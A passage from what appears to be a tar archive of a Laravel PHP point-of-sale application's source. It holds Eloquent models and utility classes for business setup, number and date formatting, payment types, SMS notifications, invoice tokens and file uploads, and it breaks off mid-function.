scopeNotCapital($query) // { // return $query->where(function ($q) { // $q->where('account_type', '!=', 'capital'); // $q->orWhereNull('account_type'); // }); // } public static function accountTypes() { return [ '' => __('account.not_applicable'), 'saving_current' => __('account.saving_current'), 'capital' => __('account.capital'), ]; } public function account_type() { return $this->belongsTo(\App\AccountType::class, 'account_type_id'); } } Mail/ExceptionOccured.php 0000644 00000001255 15001146510 0011376 0 ustar 00 <?php namespace App\Mail; use Illuminate\Bus\Queueable; use Illuminate\Mail\Mailable; use Illuminate\Queue\SerializesModels; class ExceptionOccured extends Mailable { use Queueable, SerializesModels; /** * The body of the message. * * @var string */ public $content; /** * Create a new message instance. * * @return void */ public function __construct($content) { $this->content = $content; } /** * Build the message. * * @return $this */ public function build() { return $this->view('emails.exception') ->with('content', $this->content); } } InvoiceScheme.php 0000644 00000001504 15001146510 0007767 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class InvoiceScheme extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * Returns list of invoice schemes in array format */ public static function forDropdown($business_id) { $dropdown = InvoiceScheme::where('business_id', $business_id) ->pluck('name', 'id'); return $dropdown; } /** * Retrieves the default invoice scheme */ public static function getDefault($business_id) { $default = InvoiceScheme::where('business_id', $business_id) ->where('is_default', 1) ->first(); return $default; } } PurchaseLine.php 0000644 00000003544 15001146510 0007636 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class PurchaseLine extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; public function transaction() { return $this->belongsTo(\App\Transaction::class); } public function product() { return $this->belongsTo(\App\Product::class, 'product_id'); } public function variations() { return $this->belongsTo(\App\Variation::class, 'variation_id'); } /** * Set the quantity. * * @param string $value * @return float $value */ public function getQuantityAttribute($value) { return (float) $value; } /** * Get the unit associated with the purchase line. */ public function sub_unit() { return $this->belongsTo(\App\Unit::class, 'sub_unit_id'); } /** * Give the quantity remaining for a particular * purchase line. * * @return float $value */ public function getQuantityRemainingAttribute() { return (float) ($this->quantity - $this->quantity_used); } /** * Give the sum of quantity sold, adjusted, returned. * * @return float $value */ public function getQuantityUsedAttribute() { return (float) ($this->quantity_sold + $this->quantity_adjusted + $this->quantity_returned + $this->mfg_quantity_used); } public function line_tax() { return $this->belongsTo(\App\TaxRate::class, 'tax_id'); } public function purchase_order_line() { return $this->belongsTo(\App\PurchaseLine::class, 'purchase_order_line_id'); } public function purchase_requisition_line() { return $this->belongsTo(\App\PurchaseLine::class, 'purchase_requisition_line_id'); } } DashboardConfiguration.php 0000644 00000000157 15001146510 0011670 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class DashboardConfiguration extends Model { } Brands.php 0000644 00000002007 15001146510 0006456 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Brands extends Model { use SoftDeletes; /** * The attributes that should be mutated to dates. * * @var array */ /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * Return list of brands for a business * * @param int $business_id * @param bool $show_none = false * @return array */ public static function forDropdown($business_id, $show_none = false, $filter_use_for_repair = false) { $query = Brands::where('business_id', $business_id); if ($filter_use_for_repair) { $query->where('use_for_repair', 1); } $brands = $query->orderBy('name', 'asc') ->pluck('name', 'id'); if ($show_none) { $brands->prepend(__('lang_v1.none'), ''); } return $brands; } } VariationValueTemplate.php 0000644 00000000643 15001146510 0011676 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class VariationValueTemplate extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * Get the variation that owns the attribute. */ public function variationTemplate() { return $this->belongsTo(\App\VariationTemplate::class); } } Utils/index.php 0000644 00000000000 15001146510 0007443 0 ustar 00 Utils/BusinessUtil.php 0000644 00000035247 15001146510 0011012 0 ustar 00 <?php namespace App\Utils; use App\Barcode; use App\Business; use App\BusinessLocation; use App\Contact; use App\Currency; use App\InvoiceLayout; use App\InvoiceScheme; use App\NotificationTemplate; use App\Printer; use App\Unit; use App\User; use Illuminate\Support\Facades\DB; use Spatie\Permission\Models\Role; use App\VariationLocationDetails; class BusinessUtil extends Util { /** * Adds a default settings/resources for a new business * * @param int $business_id * @param int $user_id * @return bool */ public function newBusinessDefaultResources($business_id, $user_id) { $user = User::find($user_id); //create Admin role and assign to user $role = Role::create(['name' => 'Admin#'.$business_id, 'business_id' => $business_id, 'guard_name' => 'web', 'is_default' => 1, ]); $user->assignRole($role->name); //Create Cashier role for a new business $cashier_role = Role::create(['name' => 'Cashier#'.$business_id, 'business_id' => $business_id, 'guard_name' => 'web', ]); $cashier_role->syncPermissions(['sell.view', 'sell.create', 'sell.update', 'sell.delete', 'access_all_locations', 'view_cash_register', 'close_cash_register']); $business = Business::findOrFail($business_id); //Update reference count $ref_count = $this->setAndGetReferenceCount('contacts', $business_id); $contact_id = $this->generateReferenceNumber('contacts', $ref_count, $business_id); //Add Default/Walk-In Customer for new business $customer = [ 'business_id' => $business_id, 'type' => 'customer', 'name' => 'Walk-In Customer', 'created_by' => $user_id, 'is_default' => 1, 'contact_id' => $contact_id, 'credit_limit' => 0, ]; Contact::create($customer); //create default invoice setting for new business InvoiceScheme::create(['name' => 'Default', 'scheme_type' => 'blank', 'prefix' => '', 'start_number' => 1, 'total_digits' => 4, 'is_default' => 1, 'business_id' => $business_id, ]); //create default invoice layour for new business InvoiceLayout::create(['name' => 'Default', 'header_text' => null, 'invoice_no_prefix' => 'Invoice No.', 'invoice_heading' => 'Invoice', 'sub_total_label' => 'Subtotal', 'discount_label' => 'Discount', 'tax_label' => 'Tax', 'total_label' => 'Total', 'show_landmark' => 1, 'show_city' => 1, 'show_state' => 1, 'show_zip_code' => 1, 'show_country' => 1, 'highlight_color' => '#000000', 'footer_text' => '', 'is_default' => 1, 'business_id' => $business_id, 'invoice_heading_not_paid' => '', 'invoice_heading_paid' => '', 'total_due_label' => 'Total Due', 'paid_label' => 'Total Paid', 'show_payments' => 1, 'show_customer' => 1, 'customer_label' => 'Customer', 'table_product_label' => 'Product', 'table_qty_label' => 'Quantity', 'table_unit_price_label' => 'Unit Price', 'table_subtotal_label' => 'Subtotal', 'date_label' => 'Date', ]); //create default barcode setting for new business // Barcode::create(['name' => 'Default', // 'description' => '', // 'width' => 37.29, // 'height' => 25.93, // 'top_margin' => 5, // 'left_margin' => 5, // 'row_distance' => 1, // 'col_distance' => 1, // 'stickers_in_one_row' => 4, // 'is_default' => 1, // 'business_id' => $business_id // ]); //Add Default Unit for new business $unit = [ 'business_id' => $business_id, 'actual_name' => 'Pieces', 'short_name' => 'Pc(s)', 'allow_decimal' => 0, 'created_by' => $user_id, ]; Unit::create($unit); //Create default notification templates $notification_templates = NotificationTemplate::defaultNotificationTemplates($business_id); foreach ($notification_templates as $notification_template) { NotificationTemplate::create($notification_template); } return true; } /** * Gives a list of all currencies * * @return array */ public function allCurrencies() { $currencies = Currency::select('id', DB::raw("concat(country, ' - ',currency, '(', code, ') ') as info")) ->orderBy('country') ->pluck('info', 'id'); return $currencies; } /** * Gives a list of all timezone * * @return array */ public function allTimeZones() { $datetime = new \DateTimeZone('EDT'); $timezones = $datetime->listIdentifiers(); $timezone_list = []; foreach ($timezones as $timezone) { $timezone_list[$timezone] = $timezone; } return $timezone_list; } /** * Gives a list of all accouting methods * * @return array */ public function allAccountingMethods() { return [ 'fifo' => __('business.fifo'), 'lifo' => __('business.lifo'), ]; } /** * Creates new business with default settings. * * @return array */ public function createNewBusiness($business_details) { $business_details['sell_price_tax'] = 'includes'; $business_details['default_profit_percent'] = 25; //Add POS shortcuts $business_details['keyboard_shortcuts'] = '{"pos":{"express_checkout":"shift+e","pay_n_ckeckout":"shift+p","draft":"shift+d","cancel":"shift+c","edit_discount":"shift+i","edit_order_tax":"shift+t","add_payment_row":"shift+r","finalize_payment":"shift+f","recent_product_quantity":"f2","add_new_product":"f4"}}'; //Add prefixes $business_details['ref_no_prefixes'] = [ 'purchase' => 'PO', 'stock_transfer' => 'ST', 'stock_adjustment' => 'SA', 'sell_return' => 'CN', 'expense' => 'EP', 'contacts' => 'CO', 'purchase_payment' => 'PP', 'sell_payment' => 'SP', 'business_location' => 'BL', ]; //Disable inline tax editing $business_details['enable_inline_tax'] = 0; $business = Business::create_business($business_details); return $business; } /** * Gives details for a business * * @return object */ public function getDetails($business_id) { $details = Business::leftjoin('tax_rates AS TR', 'business.default_sales_tax', 'TR.id') ->leftjoin('currencies AS cur', 'business.currency_id', 'cur.id') ->select( 'business.*', 'cur.code as currency_code', 'cur.symbol as currency_symbol', 'thousand_separator', 'decimal_separator', 'TR.amount AS tax_calculation_amount', 'business.default_sales_discount' ) ->where('business.id', $business_id) ->first(); return $details; } /** * Gives current financial year * * @return array */ public function getCurrentFinancialYear($business_id) { $business = Business::where('id', $business_id)->first(); $start_month = $business->fy_start_month; $end_month = $start_month - 1; if ($start_month == 1) { $end_month = 12; } $start_year = date('Y'); //if current month is less than start month change start year to last year if (date('n') < $start_month) { $start_year = $start_year - 1; } $end_year = date('Y'); //if current month is greater than end month change end year to next year if (date('n') > $end_month) { $end_year = $start_year + 1; } $start_date = $start_year.'-'.str_pad($start_month, 2, 0, STR_PAD_LEFT).'-01'; $end_date = $end_year.'-'.str_pad($end_month, 2, 0, STR_PAD_LEFT).'-01'; $end_date = date('Y-m-t', strtotime($end_date)); $output = [ 'start' => $start_date, 'end' => $end_date, ]; return $output; } /** * Adds a new location to a business * * @param int $business_id * @param array $location_details * @param int $invoice_layout_id default null * @return location object */ public function addLocation($business_id, $location_details, $invoice_scheme_id = null, $invoice_layout_id = null) { if (empty($invoice_scheme_id)) { $layout = InvoiceLayout::where('is_default', 1) ->where('business_id', $business_id) ->first(); $invoice_layout_id = $layout->id; } if (empty($invoice_scheme_id)) { $scheme = InvoiceScheme::where('is_default', 1) ->where('business_id', $business_id) ->first(); $invoice_scheme_id = $scheme->id; } //Update reference count $ref_count = $this->setAndGetReferenceCount('business_location', $business_id); $location_id = $this->generateReferenceNumber('business_location', $ref_count, $business_id); //Enable all payment methods by default $payment_types = $this->payment_types(); $location_payment_types = []; foreach ($payment_types as $key => $value) { $location_payment_types[$key] = [ 'is_enabled' => 1, 'account' => null, ]; } $location = BusinessLocation::create(['business_id' => $business_id, 'name' => $location_details['name'], 'landmark' => $location_details['landmark'], 'city' => $location_details['city'], 'state' => $location_details['state'], 'zip_code' => $location_details['zip_code'], 'country' => $location_details['country'], 'invoice_scheme_id' => $invoice_scheme_id, 'invoice_layout_id' => $invoice_layout_id, 'sale_invoice_layout_id' => $invoice_layout_id, 'mobile' => ! empty($location_details['mobile']) ? $location_details['mobile'] : '', 'alternate_number' => ! empty($location_details['alternate_number']) ? $location_details['alternate_number'] : '', 'website' => ! empty($location_details['website']) ? $location_details['website'] : '', 'email' => '', 'location_id' => $location_id, 'default_payment_accounts' => json_encode($location_payment_types), ]); return $location; } /** * Return the invoice layout details * * @param int $business_id * @param array $layout_id = null * @return location object */ public function invoiceLayout($business_id, $layout_id = null) { $layout = null; if (! empty($layout_id)) { $layout = InvoiceLayout::find($layout_id); } //If layout is not found (deleted) then get the default layout for the business if (empty($layout)) { $layout = InvoiceLayout::where('business_id', $business_id) ->where('is_default', 1) ->first(); } //$output = [] return $layout; } /** * Return the printer configuration * * @param int $business_id * @param int $printer_id * @return array */ public function printerConfig($business_id, $printer_id) { $printer = Printer::where('business_id', $business_id) ->find($printer_id); $output = []; if (! empty($printer)) { $output['connection_type'] = $printer->connection_type; $output['capability_profile'] = $printer->capability_profile; $output['char_per_line'] = $printer->char_per_line; $output['ip_address'] = $printer->ip_address; $output['port'] = $printer->port; $output['path'] = $printer->path; $output['server_url'] = $printer->server_url; } return $output; } /** * Return the date range for which editing of transaction for a business is allowed. * * @param int $business_id * @param char $edit_transaction_period * @return array */ public function editTransactionDateRange($business_id, $edit_transaction_period) { if (is_numeric($edit_transaction_period)) { return ['start' => \Carbon::today() ->subDays($edit_transaction_period), 'end' => \Carbon::today(), ]; } elseif ($edit_transaction_period == 'fy') { //Editing allowed for current financial year return $this->getCurrentFinancialYear($business_id); } return false; } /** * Return the default setting for the pos screen. * * @return array */ public function defaultPosSettings() { return ['disable_pay_checkout' => 0, 'disable_draft' => 0, 'disable_express_checkout' => 0, 'hide_product_suggestion' => 0, 'hide_recent_trans' => 0, 'disable_discount' => 0, 'disable_order_tax' => 0, 'is_pos_subtotal_editable' => 0]; } /** * Return the default setting for the email. * * @return array */ public function defaultEmailSettings() { return ['mail_host' => '', 'mail_port' => '', 'mail_username' => '', 'mail_password' => '', 'mail_encryption' => '', 'mail_from_address' => '', 'mail_from_name' => '']; } /** * Return the default setting for the email. * * @return array */ public function defaultSmsSettings() { return ['url' => '', 'send_to_param_name' => 'to', 'msg_param_name' => 'text', 'request_method' => 'post', 'param_1' => '', 'param_val_1' => '', 'param_2' => '', 'param_val_2' => '', 'param_3' => '', 'param_val_3' => '', 'param_4' => '', 'param_val_4' => '', 'param_5' => '', 'param_val_5' => '']; } } Utils/Util.php 0000644 00000206346 15001146510 0007276 0 ustar 00 <?php namespace App\Utils; use App\Business; use App\BusinessLocation; use App\Contact; use App\Product; use App\ReferenceCount; use App\System; use App\Transaction; use App\TransactionSellLine; use App\Unit; use App\User; use App\VariationLocationDetails; use Config; use DB; use GuzzleHttp\Client; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Hash; use Spatie\Permission\Models\Role; class Util { /** * This function unformats a number and returns them in plain eng format * * @param int $input_number * @return float */ public function num_uf($input_number, $currency_details = null) { $thousand_separator = ''; $decimal_separator = ''; if (! empty($currency_details)) { $thousand_separator = $currency_details->thousand_separator; $decimal_separator = $currency_details->decimal_separator; } else { $thousand_separator = session()->has('currency') ? session('currency')['thousand_separator'] : ''; $decimal_separator = session()->has('currency') ? session('currency')['decimal_separator'] : ''; } $num = str_replace($thousand_separator, '', $input_number); $num = str_replace($decimal_separator, '.', $num); return (float) $num; } /** * This function formats a number and returns them in specified format * * @param int $input_number * @param bool $add_symbol = false * @param array $business_details = null * @param bool $is_quantity = false; If number represents quantity * @return string */ public function num_f($input_number, $add_symbol = false, $business_details = null, $is_quantity = false) { $thousand_separator = ! empty($business_details) ? $business_details->thousand_separator : session('currency')['thousand_separator']; $decimal_separator = ! empty($business_details) ? $business_details->decimal_separator : session('currency')['decimal_separator']; $currency_precision = ! empty($business_details) ? $business_details->currency_precision : session('business.currency_precision', 2); if ($is_quantity) { $currency_precision = ! empty($business_details) ? $business_details->quantity_precision : session('business.quantity_precision', 2); } $formatted = number_format($input_number, $currency_precision, $decimal_separator, $thousand_separator); if ($add_symbol) { $currency_symbol_placement = ! empty($business_details) ? $business_details->currency_symbol_placement : session('business.currency_symbol_placement'); $symbol = ! empty($business_details) ? $business_details->currency_symbol : session('currency')['symbol']; if ($currency_symbol_placement == 'after') { $formatted = $formatted.' '.$symbol; } else { $formatted = $symbol.' '.$formatted; } } return $formatted; } /** * Calculates percentage for a given number * * @param int $number * @param int $percent * @param int $addition default = 0 * @return float */ public function calc_percentage($number, $percent, $addition = 0) { return $addition + ($number * ($percent / 100)); } /** * Calculates base value on which percentage is calculated * * @param int $number * @param int $percent * @return float */ public function calc_percentage_base($number, $percent) { return ($number * 100) / (100 + $percent); } /** * Calculates percentage * * @param int $base * @param int $number * @return float */ public function get_percent($base, $number) { if ($base == 0) { return 0; } $diff = $number - $base; return ($diff / $base) * 100; } //Returns all avilable purchase statuses public function orderStatuses() { return ['received' => __('lang_v1.received'), 'pending' => __('lang_v1.pending'), 'ordered' => __('lang_v1.ordered')]; } /** * Defines available Payment Types * * @return array */ public function payment_types($location = null, $show_advance = false, $business_id = null) { if (! empty($location)) { $location = is_object($location) ? $location : BusinessLocation::find($location); //Get custom label from business settings $custom_labels = Business::find($location->business_id)->custom_labels; $custom_labels = json_decode($custom_labels, true); } else { if (! empty($business_id)) { $custom_labels = Business::find($business_id)->custom_labels; $custom_labels = json_decode($custom_labels, true); } else { $custom_labels = []; } } $payment_types = ['cash' => __('lang_v1.cash'), 'card' => __('lang_v1.card'), 'cheque' => __('lang_v1.cheque'), 'bank_transfer' => __('lang_v1.bank_transfer'), 'other' => __('lang_v1.other')]; $payment_types['custom_pay_1'] = ! empty($custom_labels['payments']['custom_pay_1']) ? $custom_labels['payments']['custom_pay_1'] : __('lang_v1.custom_payment', ['number' => 1]); $payment_types['custom_pay_2'] = ! empty($custom_labels['payments']['custom_pay_2']) ? $custom_labels['payments']['custom_pay_2'] : __('lang_v1.custom_payment', ['number' => 2]); $payment_types['custom_pay_3'] = ! empty($custom_labels['payments']['custom_pay_3']) ? $custom_labels['payments']['custom_pay_3'] : __('lang_v1.custom_payment', ['number' => 3]); $payment_types['custom_pay_4'] = ! empty($custom_labels['payments']['custom_pay_4']) ? $custom_labels['payments']['custom_pay_4'] : __('lang_v1.custom_payment', ['number' => 4]); $payment_types['custom_pay_5'] = ! empty($custom_labels['payments']['custom_pay_5']) ? $custom_labels['payments']['custom_pay_5'] : __('lang_v1.custom_payment', ['number' => 5]); $payment_types['custom_pay_6'] = ! empty($custom_labels['payments']['custom_pay_6']) ? $custom_labels['payments']['custom_pay_6'] : __('lang_v1.custom_payment', ['number' => 6]); $payment_types['custom_pay_7'] = ! empty($custom_labels['payments']['custom_pay_7']) ? $custom_labels['payments']['custom_pay_7'] : __('lang_v1.custom_payment', ['number' => 7]); //Unset payment types if not enabled in business location if (! empty($location)) { $location_account_settings = ! empty($location->default_payment_accounts) ? json_decode($location->default_payment_accounts, true) : []; $enabled_accounts = []; foreach ($location_account_settings as $key => $value) { if (! empty($value['is_enabled'])) { $enabled_accounts[] = $key; } } foreach ($payment_types as $key => $value) { if (! in_array($key, $enabled_accounts)) { unset($payment_types[$key]); } } } if ($show_advance) { $payment_types = ['advance' => __('lang_v1.advance')] + $payment_types; } return $payment_types; } /** * Returns the list of modules enabled * * @return array */ public function allModulesEnabled($business_id = null) { $enabled_modules = session()->has('business') ? session('business')['enabled_modules'] : null; if (! session()->has('business') && ! empty($business_id)) { $enabled_modules = Business::find($business_id)->enabled_modules; } $enabled_modules = (! empty($enabled_modules) && $enabled_modules != 'null') ? $enabled_modules : []; return $enabled_modules; //Module::has('Restaurant'); } /** * Returns the list of modules enabled * * @return array */ public function isModuleEnabled($module, $business_id = null) { $enabled_modules = $this->allModulesEnabled($business_id); if (in_array($module, $enabled_modules)) { return true; } else { return false; } } /** * Converts date in business format to mysql format * * @param string $date * @param bool $time (default = false) * @return strin */ public function uf_date($date, $time = false) { $date_format = session('business.date_format'); $mysql_format = 'Y-m-d'; if ($time) { if (session('business.time_format') == 12) { $date_format = $date_format.' h:i A'; } else { $date_format = $date_format.' H:i'; } $mysql_format = 'Y-m-d H:i:s'; } return ! empty($date_format) ? \Carbon::createFromFormat($date_format, $date)->format($mysql_format) : null; } /** * Converts time in business format to mysql format * * @param string $time * @return strin */ public function uf_time($time) { $time_format = 'H:i'; if (session('business.time_format') == 12) { $time_format = 'h:i A'; } return ! empty($time_format) ? \Carbon::createFromFormat($time_format, $time)->format('H:i') : null; } /** * Converts time in business format to mysql format * * @param string $time * @return strin */ public function format_time($time) { $time_format = 'H:i'; if (session('business.time_format') == 12) { $time_format = 'h:i A'; } return ! empty($time) ? \Carbon::createFromFormat('H:i:s', $time)->format($time_format) : null; } /** * Converts date in mysql format to business format * * @param string $date * @param bool $time (default = false) * @return strin */ public function format_date($date, $show_time = false, $business_details = null) { $format = ! empty($business_details) ? $business_details->date_format : session('business.date_format'); if (! empty($show_time)) { $time_format = ! empty($business_details) ? $business_details->time_format : session('business.time_format'); if ($time_format == 12) { $format .= ' h:i A'; } else { $format .= ' H:i'; } } return ! empty($date) ? \Carbon::createFromTimestamp(strtotime($date))->format($format) : null; } /** * Increments reference count for a given type and given business * and gives the updated reference count * * @param string $type * @param int $business_id * @return int */ public function setAndGetReferenceCount($type, $business_id = null) { if (empty($business_id)) { $business_id = request()->session()->get('user.business_id'); } $ref = ReferenceCount::where('ref_type', $type) ->where('business_id', $business_id) ->first(); if (! empty($ref)) { $ref->ref_count += 1; $ref->save(); return $ref->ref_count; } else { $new_ref = ReferenceCount::create([ 'ref_type' => $type, 'business_id' => $business_id, 'ref_count' => 1, ]); return $new_ref->ref_count; } } /** * Generates reference number * * @param string $type * @param int $business_id * @return int */ public function generateReferenceNumber($type, $ref_count, $business_id = null, $default_prefix = null) { $prefix = ''; if (session()->has('business') && ! empty(request()->session()->get('business.ref_no_prefixes')[$type])) { $prefix = request()->session()->get('business.ref_no_prefixes')[$type]; } if (! empty($business_id)) { $business = Business::find($business_id); $prefixes = $business->ref_no_prefixes; $prefix = ! empty($prefixes[$type]) ? $prefixes[$type] : ''; } if (! empty($default_prefix)) { $prefix = $default_prefix; } $ref_digits = str_pad($ref_count, 4, 0, STR_PAD_LEFT); if (! in_array($type, ['contacts', 'business_location', 'username'])) { $ref_year = \Carbon::now()->year; $ref_number = $prefix.$ref_year.'/'.$ref_digits; } else { $ref_number = $prefix.$ref_digits; } return $ref_number; } /** * Checks if the given user is admin * * @param obj $user * @param int $business_id * @return bool */ public function is_admin($user, $business_id = null) { $business_id = empty($business_id) ? $user->business_id : $business_id; return $user->hasRole('Admin#'.$business_id) ? true : false; } /** * Checks if the feature is allowed in demo * * @return mixed */ public function notAllowedInDemo() { //Disable in demo if (config('app.env') == 'demo') { $output = [ 'success' => 0, 'msg' => __('lang_v1.disabled_in_demo'), ]; if (request()->ajax()) { return $output; } else { return back()->with('status', $output); } } } private function sendSmsViaNexmo($data) { $sms_settings = $data['sms_settings']; if (empty($sms_settings['nexmo_key']) || empty($sms_settings['nexmo_secret'])) { return false; } Config::set('nexmo.api_key', $sms_settings['nexmo_key']); Config::set('nexmo.api_secret', $sms_settings['nexmo_secret']); // $nexmo = app('Nexmo\Client'); $client = new Client(); $headers = [ 'Content-Type' => 'application/json', ]; $numbers = explode(',', trim($data['mobile_number'])); foreach ($numbers as $number) { $body = json_encode([ 'api_key' => $sms_settings['nexmo_key'], 'api_secret' => $sms_settings['nexmo_secret'], 'to' => $number, 'from' => $sms_settings['nexmo_from'], 'text' => $data['sms_body'], ]); $request = new \GuzzleHttp\Psr7\Request('POST', 'https://rest.nexmo.com/sms/json', $headers, $body); $response = $client->sendAsync($request)->wait(); } } private function sendSmsViaTwilio($data) { $sms_settings = $data['sms_settings']; if (empty($sms_settings['twilio_sid']) || empty($sms_settings['twilio_token'])) { return false; } $twilio = new \Aloha\Twilio\Twilio($sms_settings['twilio_sid'], $sms_settings['twilio_token'], $sms_settings['twilio_from']); $numbers = explode(',', trim($data['mobile_number'])); foreach ($numbers as $number) { $twilio->message($number, $data['sms_body']); } } /** * Sends SMS notification. * * @param array $data * @return void */ public function sendSms($data) { $sms_settings = $data['sms_settings']; $sms_service = isset($sms_settings['sms_service']) ? $sms_settings['sms_service'] : 'other'; if ($sms_service == 'nexmo') { return $this->sendSmsViaNexmo($data); } if ($sms_service == 'twilio') { return $this->sendSmsViaTwilio($data); } $request_data = [ $sms_settings['send_to_param_name'] => $data['mobile_number'], $sms_settings['msg_param_name'] => $data['sms_body'], ]; if (! empty($sms_settings['param_1'])) { $request_data[$sms_settings['param_1']] = $sms_settings['param_val_1']; } if (! empty($sms_settings['param_2'])) { $request_data[$sms_settings['param_2']] = $sms_settings['param_val_2']; } if (! empty($sms_settings['param_3'])) { $request_data[$sms_settings['param_3']] = $sms_settings['param_val_3']; } if (! empty($sms_settings['param_4'])) { $request_data[$sms_settings['param_4']] = $sms_settings['param_val_4']; } if (! empty($sms_settings['param_5'])) { $request_data[$sms_settings['param_5']] = $sms_settings['param_val_5']; } if (! empty($sms_settings['param_6'])) { $request_data[$sms_settings['param_6']] = $sms_settings['param_val_6']; } if (! empty($sms_settings['param_7'])) { $request_data[$sms_settings['param_7']] = $sms_settings['param_val_7']; } if (! empty($sms_settings['param_8'])) { $request_data[$sms_settings['param_8']] = $sms_settings['param_val_8']; } if (! empty($sms_settings['param_9'])) { $request_data[$sms_settings['param_9']] = $sms_settings['param_val_9']; } if (! empty($sms_settings['param_10'])) { $request_data[$sms_settings['param_10']] = $sms_settings['param_val_10']; } $client = new Client(); $headers = []; if (! empty($sms_settings['header_1'])) { $headers[$sms_settings['header_1']] = $sms_settings['header_val_1']; } if (! empty($sms_settings['header_2'])) { $headers[$sms_settings['header_2']] = $sms_settings['header_val_2']; } if (! empty($sms_settings['header_3'])) { $headers[$sms_settings['header_3']] = $sms_settings['header_val_3']; } $options = []; if (! empty($headers)) { $options['headers'] = $headers; } if (empty($sms_settings['url'])) { return false; } if ($sms_settings['request_method'] == 'get') { $response = $client->get($sms_settings['url'].'?'.http_build_query($request_data), $options); } else { $options['form_params'] = $request_data; $response = $client->post($sms_settings['url'], $options); } return $response; } /** * Generates Whatsapp notification link * * @param array $data * @return string */ public function getWhatsappNotificationLink($data) { //Supports only integers without leading zeros $whatsapp_number = abs((int) filter_var($data['mobile_number'], FILTER_SANITIZE_NUMBER_INT)); $text = $data['whatsapp_text']; $base_url = config('constants.whatsapp_base_url').'/'.$whatsapp_number; return $base_url.'?text='.urlencode($text); } /** * Retrieves sub units of a base unit * * @param int $business_id * @param int $unit_id * @param bool $return_main_unit_if_empty = false * @param int $product_id = null * @return array */ public function getSubUnits($business_id, $unit_id, $return_main_unit_if_empty = false, $product_id = null) { $unit = Unit::where('business_id', $business_id) ->with(['sub_units']) ->findOrFail($unit_id); //Find related subunits for the product. $related_sub_units = []; if (! empty($product_id)) { $product = Product::where('business_id', $business_id)->findOrFail($product_id); $related_sub_units = $product->sub_unit_ids; } $sub_units = []; //Add main unit as per given parameter or conditions. if (($return_main_unit_if_empty && count($unit->sub_units) == 0)) { $sub_units[$unit->id] = [ 'name' => $unit->actual_name, 'multiplier' => 1, 'allow_decimal' => $unit->allow_decimal, ]; } elseif (empty($related_sub_units) || in_array($unit->id, $related_sub_units)) { $sub_units[$unit->id] = [ 'name' => $unit->actual_name, 'multiplier' => 1, 'allow_decimal' => $unit->allow_decimal, ]; } if (count($unit->sub_units) > 0) { foreach ($unit->sub_units as $sub_unit) { //Check if subunit is related to the product or not. if (empty($related_sub_units) || in_array($sub_unit->id, $related_sub_units)) { $sub_units[$sub_unit->id] = [ 'name' => $sub_unit->actual_name, 'multiplier' => $sub_unit->base_unit_multiplier, 'allow_decimal' => $sub_unit->allow_decimal, ]; } } } return $sub_units; } public function getMultiplierOf2Units($base_unit_id, $unit_id) { if ($base_unit_id == $unit_id || is_null($base_unit_id) || is_null($unit_id)) { return 1; } $unit = Unit::where('base_unit_id', $base_unit_id) ->where('id', $unit_id) ->first(); if (empty($unit)) { return 1; } else { return $unit->base_unit_multiplier; } } /** * Generates unique token * * @param void * @return string */ public function generateToken() { return md5(rand(1, 10).microtime()); } /** * Generates invoice url for the transaction * * @param int $transaction_id, int $business_id * @return string */ public function getInvoiceUrl($transaction_id, $business_id) { $transaction = Transaction::where('business_id', $business_id) ->findOrFail($transaction_id); if (empty($transaction->invoice_token)) { $transaction->invoice_token = $this->generateToken(); $transaction->save(); } if ($transaction->is_quotation == 1) { return route('show_quote', ['token' => $transaction->invoice_token]); } return route('show_invoice', ['token' => $transaction->invoice_token]); } /** * Generates payment link for the transaction * * @param int $transaction_id, int $business_id * @return string */ public function getInvoicePaymentLink($transaction_id, $business_id) { $transaction = Transaction::where('business_id', $business_id) ->findOrFail($transaction_id); if (empty($transaction->invoice_token)) { $transaction->invoice_token = $this->generateToken(); $transaction->save(); } if ($transaction->payment_status != 'paid' && $transaction->status == 'final') { return route('invoice_payment', ['token' => $transaction->invoice_token]); } else { return ''; } } /** * Uploads document to the server if present in the request * * @param obj $request, string $file_name, string dir_name * @return string */ public function uploadFile($request, $file_name, $dir_name, $file_type = 'document') { //If app environment is demo return null if (config('app.env') == 'demo') { return null; } $uploaded_file_name = null; if ($request->hasFile($file_name) && $request->file($file_name)->isValid()) { //Check if mime type is image if ($file_type == 'image') { if (strpos($request->$file_name->getClientMimeType(), 'image/') === false) { throw new \Exception('Invalid image file'); } } if ($file_type == 'document') { if (! in_array($request->$file_name->getClientMimeType(), array_keys(config('constants.document_upload_mimes_types')))) { throw new \Exception('Invalid document file'); } } if ($request->$file_name->getSize() <= config('constants.document_size_limit')) { $new_file_name = time().'_'.$request->$file_name->getClientOriginalName(); if ($request->$file_name->storeAs($dir_name, $new_file_name)) { $uploaded_file_name = $new_file_name; } } } return $uploaded_file_name; } public function serviceStaffDropdown($business_id, $location_id = null) { return $this->getServiceStaff($business_id, $location_id, true); } public function getServiceStaff($business_id, $location_id = null, $for_dropdown = false) { $waiters = []; //Get all service staff roles $service_staff_roles = Role::where('business_id', $business_id) ->where('is_service_staff', 1) ->pluck('name') ->toArray(); //Get all users of service staff roles if (! empty($service_staff_roles)) { $waiters = User::where('business_id', $business_id) ->role($service_staff_roles); if (! empty($location_id)) { $waiters->permission(['location.'.$location_id, 'access_all_locations']); } if ($for_dropdown) { $waiters = $waiters->select('id', DB::raw('CONCAT(COALESCE(first_name, ""), " ", COALESCE(last_name, "")) as full_name'))->get()->pluck('full_name', 'id'); } else { $waiters = $waiters->get(); } } return $waiters; } /** * Replaces tags from notification body with original value * * @param text $body * @param int $transaction_id * @return array */ public function replaceTags($business_id, $data, $transaction, $contact = null) { if (! empty($transaction) && ! is_object($transaction)) { $transaction = Transaction::where('business_id', $business_id) ->with(['contact', 'payment_lines']) ->findOrFail($transaction); } $business = ! is_object($business_id) ? Business::with(['currency'])->findOrFail($business_id) : $business_id; $contact = empty($transaction->contact) ? $contact : $transaction->contact; foreach ($data as $key => $value) { //Replace contact name if 